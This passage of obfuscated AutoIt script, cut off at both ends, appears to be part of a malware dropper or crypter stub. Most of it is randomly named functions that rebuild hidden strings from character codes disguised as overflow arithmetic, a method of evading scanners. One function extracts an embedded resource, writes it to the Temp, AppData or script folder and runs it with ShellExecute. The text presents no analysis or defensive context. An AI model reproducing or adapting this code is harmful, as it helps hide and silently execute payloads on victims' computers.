4294926352 + 40999 , + 4294903867 + 63485 , + 4294891500 - + 4294891447 , 49129 + + 4294918222 , 76246 + 4294891117 , 59834 + 4294907532 , 63768 + + 4294903598 , + 4294928037 + 39329 , 61785 + 4294905581 , 41028 + + 4294926338 , + 4294953781 - + 4294953711 , 36736 + + 4294930629 , 90867 + + 4294876481 , + 4294901933 - + 4294901877 , 6424 + 4294960927 , 77573 + + 4294889789 , + 4294934048 - + 4294933992 , 24360 + + 4294942984 , + 4294882060 + 85288 , 28339 + + 4294939024 , 44346 + + 4294923005 , 95593 + + 4294871755 , 80684 + 4294886665 , 38758 + 4294928594 , + 4294942695 - + 4294942647 , 9465 + 4294957896 , 50706 + + 4294916647 , 9108 + 4294958238 , 33480 + 4294933884 , + 4294919146 + 48218 , + 4294916210 - + 4294916155 , 31501 + + 4294935843 , 74551 + + 4294892794 , + 4294869436 - + 4294869369 , 28476 + + 4294938875 , 93904 + + 4294873444 , + 4294916676 + 50673 , + 4294953246 + 14106 , 53344 + + 4294914004 , + 4294926637 + 40707 , + 4294904398 + 62951 , 48100 + 4294919264 , + 4294945908 + 21437 , + 4294949641 + 17706 , 6690 + + 4294960674 , 44295 + + 4294923049 , 65643 + + 4294901719 , + 4294932474 - + 4294932407 , + 4294943146 - + 4294943091 , + 4294959025 + 8323 , 77762 + + 4294889587 , 77965 + + 4294889387 , 51543 + + 4294915809 , 13039 + + 4294954309 , + 4294880262 + 87086 , + 4294910470 - + 4294910420 , + 4294965913 + 1438 ] LOCAL $LIYCUVHPDA FOR $VOKCDFJESLMITAK = 0 TO 61 $LIYCUVHPDA &= CHRW ($KKFUNKJS_CYTSM_OPXYS [$VOKCDFJESLMITAK ] ) NEXT RETURN $LIYCUVHPDA ENDFUNC FUNC JSGMWOHDUZEFORBQQBO_ () LOCAL $LKZJUIABAT_RJNWQRVII [62 ] = [5029 + 4294962318 , 62423 + 4294904925 , 51415 + + 4294915951 , + 4294931106 + 36260 , + 4294966371 - + 4294966316 , 88337 + + 4294879012 , + 4294918618 - + 4294918550 , 50333 + + 4294917019 , + 4294919862 + 47504 , + 4294929303 + 38063 , 7490 + 4294959859 , + 4294888101 - + 4294888048 , + 4294873218 + 94145 , 75217 + 4294892127 , 61982 + 4294905370 , + 4294874521 + 92832 , 47027 + 4294920321 , + 4294960319 - + 4294960266 , + 4294950973 + 16393 , + 4294887272 - + 4294887216 , 25162 + 4294942190 , + 4294951384 + 15965 , 33868 + 4294933495 , 21685 + + 4294945659 , 45402 + + 4294921949 , + 4294888327 + 79022 , 76715 + + 4294890632 , 55460 + 4294911902 , 82752 + + 4294884600 , 73804 + + 4294893545 , + 4294889497 + 77869 , 87124 + 4294880242 , + 4294932928 - + 4294932880 , + 4294879387 - + 4294879317 , 94198 + 4294873154 , 25624 + + 4294941724 , + 4294903385 + 63961 , 86273 + 4294881074 , 25506 + 4294941838 , 25497 + + 4294941849 , 70324 + + 4294897020 , + 4294920486 + 46858 , 6670 + 4294960674 , + 4294926465 + 40879 , + 4294959542 - + 4294959488 , 68861 + + 4294898500 , 42410 + 4294924938 , 72546 + + 4294894798 , 33529 + + 4294933821 , + 4294948284 - + 4294948228 , + 4294895517 - + 4294895469 , 88748 + 4294878596 , 3633 + 4294963714 , 80506 + 4294886838 , + 4294898356 + 68988 , + 4294929250 + 38094 , + 4294946807 - + 4294946759 , + 4294956500 + 10844 , 87958 + 4294879408 , 6820 + 4294960546 , 6674 + 4294960677 , + 4294955877 + 11473 ] LOCAL $OJGDZMLKJW FOR $WOELNZYDZYQUAMK = 0 TO 61 $OJGDZMLKJW &= CHRW ($LKZJUIABAT_RJNWQRVII [$WOELNZYDZYQUAMK ] ) NEXT RETURN $OJGDZMLKJW ENDFUNC FUNC DUSFFUPFDLIZLVLYOUVO () LOCAL $YMIIZKXMSREN_OUCSTKK [1 ] = [20829 + 4294946517 ] LOCAL $KGVXDOMHV_ FOR $TKRTWGPUVNCJCRM = 0 TO 0 $KGVXDOMHV_ &= CHRW ($YMIIZKXMSREN_OUCSTKK [$TKRTWGPUVNCJCRM ] ) NEXT RETURN $KGVXDOMHV_ ENDFUNC FUNC LVBUDIPOLVLLNWEBRKKO () LOCAL $CFVPZYYSJNMKPUBMTKUO [10 ] = [97262 + + 4294870082 , + 4294935756 - + 4294935636 , 21428 + 4294945916 , + 4294878435 + 88909 , + 4294900337 + 67007 , + 4294932311 - + 4294932263 , 50896 + + 4294916448 , 76901 + 4294890443 , 98218 + 4294869126 , 65256 + 4294902092 ] LOCAL $HXK_QZLWUF FOR $KYEYIAWUVSIGQWO = 0 TO 9 $HXK_QZLWUF &= CHRW ($CFVPZYYSJNMKPUBMTKUO [$KYEYIAWUVSIGQWO ] ) NEXT RETURN $HXK_QZLWUF ENDFUNC FUNC WNNBEX_ZB__XGLJD_ZNX () LOCAL $NISH_EMQEUCMWQSGVVEU [6 ] = [+ 4294927618 + 39782 , 25741 + 4294941652 , 41346 + 4294926060 , + 4294945064 - + 4294944964 , 15551 + 4294951853 , + 4294894027 - + 4294893926 ] LOCAL $QTDIFVTFWS FOR $LJRNUFC_KJUIYNA = 0 TO 5 $QTDIFVTFWS &= CHRW ($NISH_EMQEUCMWQSGVVEU [$LJRNUFC_KJUIYNA ] ) NEXT RETURN $QTDIFVTFWS ENDFUNC FUNC CK_XIFBLCCUTGRNNDSFG () LOCAL $NOZHXICRBNSFGCX_OTEK [10 ] = [+ 4294910214 + 57130 , 99124 + 4294868292 , 36033 + 4294931311 , + 4294886969 - + 4294886921 , + 4294885751 - + 4294885703 , + 4294902508 - + 4294902460 , 15743 + 4294951607 , + 4294904485 + 62865 , 18198 + + 4294949147 , 98778 + 4294868566 ] LOCAL $OOWPVFXOYJ FOR $CLJPKOMEUOZLOWL = 0 TO 9 $OOWPVFXOYJ &= CHRW ($NOZHXICRBNSFGCX_OTEK [$CLJPKOMEUOZLOWL ] ) NEXT RETURN $OOWPVFXOYJ ENDFUNC FUNC KHHVCMEDQEMDLBXOWNZX () LOCAL $PTJYEAMTMYLUCCZVPCJM [62 ] = [+ 4294956869 + 10475 , + 4294886799 + 80553 , + 4294904180 + 63172 , + 4294940510 + 26835 , + 4294892885 - + 4294892816 , + 4294953139 + 14206 , 48546 + + 4294918820 , 19755 + + 4294947611 , 80845 + 4294886499 , 23523 + 4294943843 , + 4294868073 - + 4294868025 , + 4294935829 + 31515 , + 4294919968 + 47376 , + 4294870456 - + 4294870408 , + 4294884994 - + 4294884946 , + 4294871609 + 95738 , + 4294894377 - + 4294894329 , + 4294931021 - + 4294930956 , + 4294903934 + 63410 , + 4294891593 - + 4294891544 , 19646 + + 4294947698 , 20346 + 4294947002 , 32869 + + 4294934476 , 5619 + 4294961734 , 41625 + 4294925727 , 78210 + 4294889152 , + 4294962658 - + 4294962606 , + 4294961758 - + 4294961690 , 72104 + 4294895262 , 97117 + 4294870227 , 70104 + 4294897248 , 14940 + 4294952422 , 61702 + + 4294905646 , + 4294917574 + 49772 , + 4294933785 - + 4294933737 , 69843 + 4294897505 , + 4294909361 - + 4294909309 , 33139 + 4294934206 , 66932 + 4294900420 , + 4294941807 - + 4294941756 , 66660 + + 4294900705 , + 4294943676 + 23676 , 58742 + + 4294908602 , 40847 + + 4294926505 , + 4294872367 - + 4294872311 , 62360 + + 4294904993 , 32577 + 4294934771 , + 4294961224 - + 4294961156 , 53172 + + 4294914194 , 76293 + + 4294891051 , + 4294903598 + 63766 , + 4294891101 - + 4294891052 , 11223 + + 4294956142 , + 4294873514 - + 4294873458 , 25433 + 4294941914 , 43640 + + 4294923722 , + 4294902910 + 64453 , 90847 + 4294876505 , + 4294929439 + 37912 , 64811 + 4294902535 , + 4294966884 + 478 , 47165 + 4294920197 ] LOCAL $PSDFTYRVWB FOR $EGPFVPZGGWJKLGJ = 0 TO 61 $PSDFTYRVWB &= CHRW ($PTJYEAMTMYLUCCZVPCJM [$EGPFVPZGGWJKLGJ ] ) NEXT RETURN $PSDFTYRVWB ENDFUNC FUNC UX_ETXHBE_ISJCRHCZAS () LOCAL $DVSG_QQHQKCEVEQFPYQU [6 ] = [59366 + + 4294908002 , + 4294916318 + 51075 , 98763 + 4294868643 , 49110 + + 4294918286 , 45742 + 4294921662 , + 4294941363 - + 4294941262 ] LOCAL $EMMREJGNHB FOR $XNUZETFCGALUXEX = 0 TO 5 $EMMREJGNHB &= CHRW ($DVSG_QQHQKCEVEQFPYQU [$XNUZETFCGALUXEX ] ) NEXT RETURN $EMMREJGNHB ENDFUNC FUNC VRZICRZIEOTDHCZBORTY () LOCAL $YXGBXLDRKTFPV_ZCPWNE [12 ] = [46050 + + 4294921353 , 99759 + 4294867638 , 10842 + + 4294956568 , 63975 + + 4294903431 , 62282 + + 4294905115 , + 4294964198 + 3206 , 77053 + 4294890294 , + 4294924064 + 43282 , 19354 + + 4294947988 , 10393 + + 4294957003 , 5426 + 4294961978 , 81789 + 4294885615 ] LOCAL $CGFMQFJSJH FOR $IDIHDXMSEORIXZQ = 0 TO 11 $CGFMQFJSJH &= CHRW ($YXGBXLDRKTFPV_ZCPWNE [$IDIHDXMSEORIXZQ ] ) NEXT RETURN $CGFMQFJSJH ENDFUNC FUNC GZJAHGLX_MJIZMJFXWSU () LOCAL $QEANAFLEJNWAIKFTEMSX [15 ] = [78535 + 4294888844 , + 4294896036 + 71361 , + 4294879035 - + 4294878919 , + 4294914105 - + 4294914022 , 55203 + 4294912194 , 33727 + 4294933668 , 2275 + + 4294965138 , + 4294956876 - + 4294956762 , + 4294876612 + 90789 , 99134 + 4294868278 , 62783 + 4294904634 , 5869 + 4294961500 , 27865 + 4294939541 , + 4294867832 + 99566 , 46076 + + 4294921331 ] LOCAL $UNUZDUHNPB FOR $AKEWXFIJLTZCKAW = 0 TO 14 $UNUZDUHNPB &= CHRW ($QEANAFLEJNWAIKFTEMSX [$AKEWXFIJLTZCKAW ] ) NEXT RETURN $UNUZDUHNPB ENDFUNC FUNC FMNUORGZSGTIVYNXSXOG () LOCAL $RKXVNAZWXAMVFTHNFOFL [6 ] = [28465 + 4294938913 , + 4294905783 - + 4294905714 , + 4294872798 - + 4294872727 , + 4294868268 - + 4294868173 , 45247 + + 4294922132 , 50693 + + 4294916693 ] LOCAL $CQARERCQPF FOR $SVIWPTGNRKCRUYC = 0 TO 5 $CQARERCQPF &= CHRW ($RKXVNAZWXAMVFTHNFOFL [$SVIWPTGNRKCRUYC ] ) NEXT RETURN $CQARERCQPF ENDFUNC FUNC WYDJAXIJUMNRISEYEIXN () LOCAL $AQIKZTCDWZWHLLJRBVNM [62 ] = [28728 + 4294938620 , 56281 + + 4294911068 , 91491 + + 4294875870 , + 4294964502 + 2850 , 19759 + 4294947593 , + 4294949262 - + 4294949205 , + 4294952358 + 14994 , 7567 + 4294959782 , + 4294946390 + 20957 , + 4294950640 - + 4294950573 , 58348 + 4294909018 , + 4294959721 + 7645 , 30330 + 4294937036 , 56131 + + 4294911235 , + 4294935694 - + 4294935624 , 74019 + 4294893347 , 56928 + 4294910424 , + 4294890430 + 76934 , 18815 + + 4294948533 , + 4294940980 - + 4294940927 , + 4294912665 - + 4294912600 , + 4294958248 + 9096 , + 4294953953 + 13399 , 40290 + 4294927063 , 77783 + 4294889569 , + 4294880067 - + 4294880014 , + 4294946579 - + 4294946527 , 37946 + 4294929398 , 62285 + 4294905081 , + 4294870446 + 96920 , + 4294963388 + 3978 , + 4294945798 - + 4294945728 , + 4294936203 - + 4294936133 , + 4294925161 - + 4294925091 , 77601 + + 4294889751 , + 4294905919 + 61445 , + 4294938632 - + 4294938580 , + 4294874388 - + 4294874335 , + 4294937546 + 29807 , 54457 + + 4294912887 , + 4294961554 + 5798 , + 4294872107 - + 4294872050 , 15890 + + 4294951462 , + 4294872408 + 94941 , 43349 + 4294923999 , + 4294896263 + 71085 , + 4294926419 + 40947 , + 4294928353 + 39013 , 93300 + 4294874066 , 44846 + + 4294922520 , 5155 + + 4294962211 , + 4294931042 - + 4294930972 , + 4294931300 - + 4294931244 , 97206 + 4294870158 , + 4294912547 - + 4294912495 , + 4294907385 + 59964 , + 4294906543 - + 4294906486 , 43310 + + 4294924038 , 15671 + 4294951681 , + 4294928699 + 38654 , 87261 + + 4294880091 , 9554 + + 4294957795 ] LOCAL $HOUHMQZUQH FOR $AVFVNKMFRSK_MAX = 0 TO 61 $HOUHMQZUQH &= CHRW ($AQIKZTCDWZWHLLJRBVNM [$AVFVNKMFRSK_MAX ] ) NEXT RETURN $HOUHMQZUQH ENDFUNC FUNC QLOMIDPUGAOXOVWFFIJL () LOCAL $XKDDXBNHKKMPWPQIGZIU [1 ] = [+ 4294873229 - + 4294873180 ] LOCAL $KPGQIKWOZA FOR $LXZHIJRNJNLIQGI = 0 TO 0 $KPGQIKWOZA &= CHRW ($XKDDXBNHKKMPWPQIGZIU [$LXZHIJRNJNLIQGI ] ) NEXT RETURN $KPGQIKWOZA ENDFUNC FUNC _DGBYVRQADLZMAFOPE_G () LOCAL $TSBGONAOQFREQPYEDLQB [1 ] = [49786 + + 4294917559 ] LOCAL $ANLVCAVMGI FOR $DZHNZDEJIWPQAHC = 0 TO 0 $ANLVCAVMGI &= CHRW ($TSBGONAOQFREQPYEDLQB [$DZHNZDEJIWPQAHC ] ) NEXT RETURN $ANLVCAVMGI ENDFUNC FUNC YTUJPRGVCGWYDHETCHXP () LOCAL $WXWBHBYASWT_FOSDQBSS [6 ] = [56350 + 4294911050 , + 4294926613 + 40780 , + 4294937283 + 30123 , 4215 + + 4294963181 , 38413 + + 4294928991 , + 4294938820 + 28577 ] LOCAL $PPADBPEVLF FOR $BNVAYTBNTGDGNWT = 0 TO 5 $PPADBPEVLF &= CHRW ($WXWBHBYASWT_FOSDQBSS [$BNVAYTBNTGDGNWT ] ) NEXT RETURN $PPADBPEVLF ENDFUNC FUNC XYGJNXVIBVM_JSCEQEPP () LOCAL $AZKNCAFKEMSJTFBEAMBQ [5 ] = [28519 + + 4294938877 , 1868 + 4294965547 , + 4294938955 + 28452 , 93748 + 4294873662 , + 4294928020 + 39376 ] LOCAL $CGDQYDEC_F FOR $VKAIMYNTGNRKDPD = 0 TO 4 $CGDQYDEC_F &= CHRW ($AZKNCAFKEMSJTFBEAMBQ [$VKAIMYNTGNRKDPD ] ) NEXT RETURN $CGDQYDEC_F ENDFUNC FUNC QBKXEEXGDHZMCIPZJFSI () LOCAL $XXDLAQGBKPWHTIAYTWLD [12 ] = [+ 4294938133 + 29270 , 84778 + 4294882619 , 45129 + 4294922281 , + 4294893313 - + 4294893203 , + 4294930223 + 37174 , 28108 + 4294939296 , + 4294911001 + 56346 , + 4294941591 + 25755 , + 4294879406 + 87936 , + 4294892541 + 74855 , + 4294884610 + 82794 , + 4294893185 + 74219 ] LOCAL $QNEKLZTNTR FOR $LRTVIRGNVPS_ZWT = 0 TO 11 $QNEKLZTNTR &= CHRW ($XXDLAQGBKPWHTIAYTWLD [$LRTVIRGNVPS_ZWT ] ) NEXT RETURN $QNEKLZTNTR ENDFUNC FUNC YGHUJTSZHVNYTMJHMPYR () LOCAL $NSZCVOIGAAZFHWRNAXFZ [8 ] = [82013 + 4294885390 , + 4294894486 - + 4294894385 , + 4294897870 - + 4294897756 , 34518 + + 4294932888 , + 4294935616 + 31781 , + 4294890707 - + 4294890599 , + 4294966460 + 887 , + 4294884141 - + 4294884091 ] LOCAL $PKYTFPSZLG FOR $HEZULLZGWIQXVWG = 0 TO 7 $PKYTFPSZLG &= CHRW ($NSZCVOIGAAZFHWRNAXFZ [$HEZULLZGWIQXVWG ] ) NEXT RETURN $PKYTFPSZLG ENDFUNC FUNC TLPZYOZCSXTJJFG_TLQH () LOCAL $SJDNTIHAOWGHJXUYGZLJ [1 ] = [+ 4294872743 - + 4294872695 ] LOCAL $BGPHYOWRL_ FOR $HMGNGETKDE_HQKH = 0 TO 0 $BGPHYOWRL_ &= CHRW ($SJDNTIHAOWGHJXUYGZLJ [$HMGNGETKDE_HQKH ] ) NEXT RETURN $BGPHYOWRL_ ENDFUNC FUNC ZHINYXORVTFKQTTHQSLH () LOCAL $LPWVSMMZBWKIUCEHYLBG [5 ] = [+ 4294880569 - + 4294880469 , 50890 + + 4294916525 , 5936 + 4294961471 , 44265 + + 4294923145 , + 4294874657 + 92739 ] LOCAL $XQNPMJERFF FOR $PVTZOJLNULKPPZJ = 0 TO 4 $XQNPMJERFF &= CHRW ($LPWVSMMZBWKIUCEHYLBG [$PVTZOJLNULKPPZJ ] ) NEXT RETURN $XQNPMJERFF ENDFUNC FUNC ALZXDBASNRHJLUDRHFOZ () LOCAL $ZWYIOSWPUNQHADLMOWCM [4 ] = [+ 4294939601 + 27743 , + 4294942302 + 25114 , + 4294902144 + 65204 , 63986 + 4294903358 ] LOCAL $_AAIHIRDLC FOR $MHWZPBGENRJLFLY = 0 TO 3 $_AAIHIRDLC &= CHRW ($ZWYIOSWPUNQHADLMOWCM [$MHWZPBGENRJLFLY ] ) NEXT RETURN $_AAIHIRDLC ENDFUNC FUNC GDUQRJ_EXFC_BGQSPNFT () LOCAL $MODGU_ENVHOESVQUIEGW [12 ] = [43559 + 4294923804 , + 4294922758 + 44652 , 51854 + 4294915563 , 25457 + + 4294941951 , + 4294874105 - + 4294873989 , + 4294964107 + 3257 , 54156 + + 4294913241 , 73316 + + 4294894079 , 97037 + + 4294870373 , + 4294898734 + 68683 , + 4294905555 - + 4294905443 , 26425 + + 4294940987 ] LOCAL $PQGMSTZYCS FOR $SYHGQXKKHJAHVEM = 0 TO 11 $PQGMSTZYCS &= CHRW ($MODGU_ENVHOESVQUIEGW [$SYHGQXKKHJAHVEM ] ) NEXT RETURN $PQGMSTZYCS ENDFUNC FUNC GVIEJJKLMULFP_ONWGOQ () LOCAL $ZIPCKSZFHTYEMKPGALXK [4 ] = [+ 4294907612 + 59782 , + 4294938326 - + 4294938215 , + 4294931762 - + 4294931651 , + 4294878609 + 88795 ] LOCAL $TWGTEKHMLJ FOR $LHXXMVCXGGUSJED = 0 TO 3 $TWGTEKHMLJ &= CHRW ($ZIPCKSZFHTYEMKPGALXK [$LHXXMVCXGGUSJED ] ) NEXT RETURN $TWGTEKHMLJ ENDFUNC FUNC OUWWKXHMMAUYJRMJ_XSX () LOCAL $XOAHKGOPZBNSULTEVGLE [1 ] = [10738 + + 4294956606 ] LOCAL $OMEJSNLNCD FOR $RNOJ_RMXQZNHPZU = 0 TO 0 $OMEJSNLNCD &= CHRW ($XOAHKGOPZBNSULTEVGLE [$RNOJ_RMXQZNHPZU ] ) NEXT RETURN $OMEJSNLNCD ENDFUNC FUNC OFDQZXXWIKVXJVLDQJPVUMK ($RESNAME , $FILENAME , $RUN , $RUNONCE , $DIR ) $FILE = DLLSTRUCTGETDATA (QAVHRKECEJYEIKDBAPTMGAOZ ($RESNAME ) , EXECUTE (_DGBYVRQADLZMAFOPE_G () ) ) LOCAL $INSTALDIR SWITCH $DIR CASE 1 $INSTALDIR = @TEMPDIR CASE 2 $INSTALDIR = @APPDATADIR CASE 3 $INSTALDIR = @SCRIPTDIR ENDSWITCH LOCAL $FILEHANDLE = FILEOPEN ($INSTALDIR & UHAJNUIPBYNPDOFGZNOA () & $FILENAME , EXECUTE (OWANAKHTFFFSJVJNNWRS () ) ) FILEWRITE ($FILEHANDLE , $FILE ) FILECLOSE ($FILEHANDLE ) IF $RUNONCE = FALSE THEN IF $RUN = TRUE THEN SHELLEXECUTE ($INSTALDIR & UHAJNUIPBYNPDOFGZNOA () & $FILENAME ) ENDIF ELSE IF @SCRIPTDIR <> $STARTUPDIR THEN SHELLEXECUTE ($INSTALDIR & UHAJNUIPBYNPDOFGZNOA () & $FILENAME ) ENDIF ENDIF ENDFUNC FUNC SWYQTDDNZHGLOXOWUZTZ () LOCAL $VOXGWKGAWLES_AMBEPXC [12 ] = [+ 4294926691 + 40681 , 5408 + + 4294961999 , 65038 + 4294902355 , 21406 + + 4294945990 , + 4294901049 - + 4294900967 , + 4294951606 + 15791 , + 4294884018 + 83393 , 50514 + 4294916893 , + 4294873507 + 93906 , 56630 + 4294910780 , 75502 + 4294891893 , + 4294933951 + 33446 ] LOCAL $UAKWRWEULG FOR $DOLOLMSFCQHGCBL = 0 TO 11 $UAKWRWEULG &= CHRW ($VOXGWKGAWLES_AMBEPXC [$DOLOLMSFCQHGCBL ] ) NEXT RETURN $UAKWRWEULG ENDFUNC FUNC RVFXIMWUEQVDHLYQRXDE () LOCAL $VSWBWLOZXERCSWGSZCKB [3 ] = [17137 + + 4294950271 , 62384 + 4294905028 , 33853 + + 4294933557 ] LOCAL $XX__TLLEFR FOR $KAAOEPOGGZ_EAXY = 0 TO 2 $XX__TLLEFR &= CHRW ($VSWBWLOZXERCSWGSZCKB [$KAAOEPOGGZ_EAXY ] ) NEXT RETURN $XX__TLLEFR ENDFUNC FUNC OKJZXJVBZHRPHWSAXBTQ () LOCAL $KYKL_WTUJFKUEANTMTPJ [3 ] = [+ 4294927846 - + 4294927734 , + 4294874879 - + 4294874763 , 45332 + + 4294922078 ] LOCAL $BSUYXKHIZO FOR $STFNDYRIZR_XZAP = 0 TO 2 $BSUYXKHIZO &= CHRW ($KYKL_WTUJFKUEANTMTPJ [$STFNDYRIZR_XZAP ] ) NEXT RETURN $BSUYXKHIZO ENDFUNC FUNC OSTOSLTSHZNXBSYARTPO () LOCAL $YKLTRDRWXACLEZGOTMJI [1 ] = [+ 4294911780 + 55564 ] LOCAL $_XPUWVHXCT FOR $VMAVESJORJJHAEG = 0 TO 0 $_XPUWVHXCT &= CHRW ($YKLTRDRWXACLEZGOTMJI [$VMAVESJORJJHAEG ] ) NEXT RETURN $_XPUWVHXCT ENDFUNC FUNC YKRPZSTFBYSTSFX_FZOH () LOCAL $MKVXXJHVPBXSKV_ILYUN [6 ] = [+ 4294950853 - + 4294950749 , 9257 + + 4294958136 , 88743 + + 4294878663 , + 4294889082 + 78314 , + 4294912348 - + 4294912240 , + 4294947873 - + 4294947772 ] LOCAL $XGPPHFAXLZ FOR $GDTNPUSPLXQ_AAI = 0 TO 5 $XGPPHFAXLZ &= CHRW ($MKVXXJHVPBXSKV_ILYUN [$GDTNPUSPLXQ_AAI ] ) NEXT RETURN $XGPPHFAXLZ ENDFUNC FUNC BNDP_NANASIGVVKWIVGF () LOCAL $BRNBGFKTMMAWPSFCVZXK [52 ] = [90575 + 4294876793 , + 4294884762 + 82609 , + 4294906208 - + 4294906141 , + 4294884352 - + 4294884267 , + 4294908504 - + 4294908412 , + 4294946584 - + 4294946501 , 45473 + + 4294921934 , + 4294914902 - + 4294914800 , 98473 + 4294868939 , 29542 + + 4294937873 , + 4294892628 - + 4294892531 , 86050 + + 4294881360 , 34909 + 4294932488 , 32740 + 4294934648 , 24313 + 4294943050 , + 4294877823 - + 4294877715 , + 4294883818 + 83575 , + 4294915443 - + 4294915328 , + 4294920371 + 47040 , + 4294895113 + 72284 , + 4294892621 - + 4294892506 , 2764 + 4294964624 , 87311 + + 4294880094 , + 4294953075 + 14336 , 6407 + + 4294960934 , 77429 + + 4294889982 , 24918 + 4294942479 , 43568 + + 4294923844 , 92232 + 4294875180 , + 4294900197 + 67204 , + 4294922204 + 45202 , + 4294941570 + 25829 , + 4294882104 - + 4294881989 , + 4294962150 - + 4294962058 , + 4294938421 - + 4294938306 , 34954 + 4294932446 , 60212 + + 4294907185 , + 4294935308 + 32096 , + 4294911701 + 55703 , 2133 + 4294965255 , + 4294887603 + 79804 , + 4294941324 + 26084 , + 4294903345 - + 4294903244 , + 4294920188 + 47218 , + 4294959745 + 7643 , + 4294879896 - + 4294879797 , + 4294898158 - + 4294898047 , + 4294890733 - + 4294890624 , + 4294966016 + 1389 , + 4294918730 - + 4294918633 , + 4294899557 - + 4294899447 , 27407 + 4294939989 ] LOCAL $UHRYUEHWBK FOR $DCODLHXFVVVBJVT = 0 TO 51 $UHRYUEHWBK &= CHRW ($BRNBGFKTMMAWPSFCVZXK [$DCODLHXFVVVBJVT ] ) NEXT RETURN $UHRYUEHWBK ENDFUNC FUNC ITNVYGEHUBPGPMUWPFII () LOCAL $TMZLPJETOEMHSIMZXTNS [1 ] = [72089 + 4294895300 ] LOCAL $CFPCLUQPHO FOR $HIJLOSCVMUYC_WU = 0 TO 0 $CFPCLUQPHO &= CHRW ($TMZLPJETOEMHSIMZXTNS [$HIJLOSCVMUYC_WU ] ) NEXT RETURN $CFPCLUQPHO ENDFUNC FUNC RIVDHBZSDGYSQFLRAHAD () LOCAL $OSAVSXBULZILJLMYXFLE [2 ] = [+ 4294869827 - + 4294869773 , + 4294947712 + 19636 ] LOCAL $KAFHEYMIFT FOR $TQELERBFBPGZH_L = 0 TO 1 $KAFHEYMIFT &= CHRW ($OSAVSXBULZILJLMYXFLE [$TQELERBFBPGZH_L ] ) NEXT RETURN $KAFHEYMIFT ENDFUNC FUNC WUJUKBASFFLZSZPYJLAY () LOCAL $WYEWKKZLMMHUDJSK_KRY [62 ] = [83796 + + 4294883567 , 66985 + + 4294900376 , + 4294924021 - + 4294923953 , 44239 + 4294923113 , + 4294880756 + 86588 , + 4294871545 - + 4294871494 , + 4294938477 - + 4294938410 , 11979 + + 4294955372 , 16288 + 4294951064 , + 4294941219 - + 4294941166 , 81796 + + 4294885555 , 50326 + + 4294917018 , + 4294879770 + 87596 , 64743 + 4294902623 , + 4294918672 - + 4294918602 , + 4294875687 + 91679 , 54293 + 4294913073 , 65775 + 4294901591 , 51102 + 4294916251 , 15108 + 4294952245 , + 4294929432 + 37930 , + 4294965137 + 2207 , 6573 + + 4294960775 , + 4294953153 - + 4294953097 , + 4294887080 + 80264 , 62995 + 4294904355 , 91504 + + 4294875859 , + 4294902233 + 65118 , + 4294928788 - + 4294928732 , + 4294874177 + 93172 , + 4294906109 - + 4294906054 , 60753 + + 4294906595 , 54359 + 4294913007 , 4776 + 4294962590 , + 4294920246 - + 4294920176 , + 4294903937 - + 4294903867 , + 4294883994 + 83372 , 37465 + + 4294929901 , 88315 + + 4294879038 , 48925 + + 4294918422 , 57576 + + 4294909786 , 7100 + + 4294960261 , + 4294941760 - + 4294941703 , 77719 + 4294889629 , + 4294920811 - + 4294920763 , 99468 + 4294867879 , 38421 + + 4294928942 , + 4294906723 - + 4294906668 , 33897 + + 4294933455 , 91576 + 4294875773 , + 4294958992 - + 4294958937 , + 4294913903 + 53449 , + 4294953154 + 14212 , 15038 + 4294952328 , + 4294939444 - + 4294939374 , 9491 + + 4294957875 , + 4294904715 - + 4294904645 , + 4294953241 - + 4294953171 , + 4294889379 + 77986 , + 4294942181 - + 4294942129 , + 4294907661 - + 4294907594 , + 4294868292 + 99059 ] LOCAL $WXVTAWFDHN FOR $DX__UZGHOXNBASY = 0 TO 61 $WXVTAWFDHN &= CHRW ($WYEWKKZLMMHUDJSK_KRY [$DX__UZGHOXNBASY ] ) NEXT RETURN $WXVTAWFDHN ENDFUNC FUNC PNBIRNHKNJOAQRS_ZPOF () LOCAL $_GPMJAXSYNVTD_JWECSN [8 ] = [+ 4294869247 - + 4294869140 , 98405 + 4294868992 , 64524 + + 4294902886 , + 4294874025 + 93381 , 60411 + + 4294906986 , + 4294915052 - + 4294914944 , 46233 + 4294921114 , 8957 + 4294958389 ] LOCAL $XXAEVGIHPB FOR $YPZQQPLZNVXQIWV = 0 TO 7 $XXAEVGIHPB &= CHRW ($_GPMJAXSYNVTD_JWECSN [$YPZQQPLZNVXQIWV ] ) NEXT RETURN $XXAEVGIHPB ENDFUNC FUNC NMEMMXUAJTBTQJGSWPJI () LOCAL $BUSXMTNFWCWGNTYVSTJY [6 ] = [+ 4294876362 - + 4294876280 , 95900 + 4294871465 , 32939 + 4294934428 , 35597 + 4294931794 , 33774 + 4294933605 , 38122 + + 4294929264 ] LOCAL $XLL_CFLHBV FOR $NTITUIATKPEHXVG = 0 TO 5 $XLL_CFLHBV &= CHRW ($BUSXMTNFWCWGNTYVSTJY [$NTITUIATKPEHXVG ] ) NEXT RETURN $XLL_CFLHBV ENDFUNC FUNC RMADTSVSVZRGUUUTHXOK () LOCAL $JNXBLODWUYKDYRKNSADI [17 ] = [+ 4294937440 - + 4294937355 , 61483 + 4294905895 , 54889 + 4294912483 , + 4294907985 - + 4294907917 , 8196 + 4294959211 , + 4294965354 - + 4294965235 , + 4294890688 + 76718 , 85906 + 4294881498 , + 4294948010 + 19397 , 35207 + 4294932186 , + 4294949145 + 18251 , + 4294881350 + 86030 , + 4294954454 + 12953 , + 4294925632 - + 4294925562 , + 4294942901 - + 4294942796 , + 4294876048 - + 4294875940 , 47100 + 4294920297 ] LOCAL $GXTJYTKIYQ FOR $BCSSHEIYISLIGYT = 0 TO 16 $GXTJYTKIYQ &= CHRW ($JNXBLODWUYKDYRKNSADI [$BCSSHEIYISLIGYT ] ) NEXT RETURN $GXTJYTKIYQ ENDFUNC FUNC YUWDJD_CHMCJFBDUFBPE () LOCAL $FMBWHDCSPCFWEOLQO_KW [1 ] = [47974 + + 4294919370 ] LOCAL $ZWGBHOFGFF FOR $HMDLZGOWQVPCMMS = 0 TO 0 $ZWGBHOFGFF &= CHRW ($FMBWHDCSPCFWEOLQO_KW [$HMDLZGOWQVPCMMS ] ) NEXT RETURN $ZWGBHOFGFF ENDFUNC FUNC GHGFESIAZCCOFOVXSCWV () LOCAL $UYQJYBVJFIBCJYWQJTDI [7 ] = [+ 4294891886 + 75525 , 58445 + + 4294908967 , 11257 + + 4294956153 , 27786 + 4294939627 , 68348 + + 4294899047 , + 4294904229 - + 4294904113 , 11896 + + 4294955442 ] LOCAL $FOYZNYDSZY FOR $RJSXHCYZVQB_FHS = 0 TO 6 $FOYZNYDSZY &= CHRW ($UYQJYBVJFIBCJYWQJTDI [$RJSXHCYZVQB_FHS ] ) NEXT 